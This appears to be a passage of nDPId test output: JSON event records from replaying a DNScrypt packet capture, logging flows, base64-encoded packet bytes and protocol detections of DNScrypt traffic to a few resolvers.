+00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":28,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":37413,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":29,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328481,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQHPkAub0RoXAKAAABuYbENwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":29,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":35005,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328494,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcHPsgAL0RfJsKAAABuYbEN4i9IPsGBFEJfxwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":30,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":35005,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":31,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328516,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQHPsAub0RoW4KAAABuYbENwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":31,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":59405,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328530,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcHPxAAL0RYFoKAAABuYbEN+gNIPsCCECUfx0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":59405,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":33,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":50435,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328621,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcHP1AAL0RYFkKAAABuYbEN8UDIPsCCECUfxsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":33,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":50435,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":55123,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328639,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcHP4gAL0RfJgKAAABuYbEN9dTIPsGBAJxfx4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":55123,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328653,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQHP4Aub0RoWsKAAABuYbENwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":35,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00669{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":360382,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWmUJAADQRblq5hsQ3CgAAASD7xQMAwuTIfxuAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00669{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":361228,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWmUFAADQRblu5hsQ3CgAAASD7kiUAwhejfx+AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00669{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":362796,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWmURAADQRbli5hsQ3CgAAASD7iL0AwiEOfxyAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00669{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":362961,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWmUNAADQRblm5hsQ3CgAAASD70cEAwtgLfxqAAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":44712,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363242,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcylFAAL0RDRQKAAABaO66wK6oAbsCCOaEZFgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":40,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":44712,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":56997,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363260,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcylIgAL0RKVMKAAABaO66wN6lAbsGBMqkZFUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA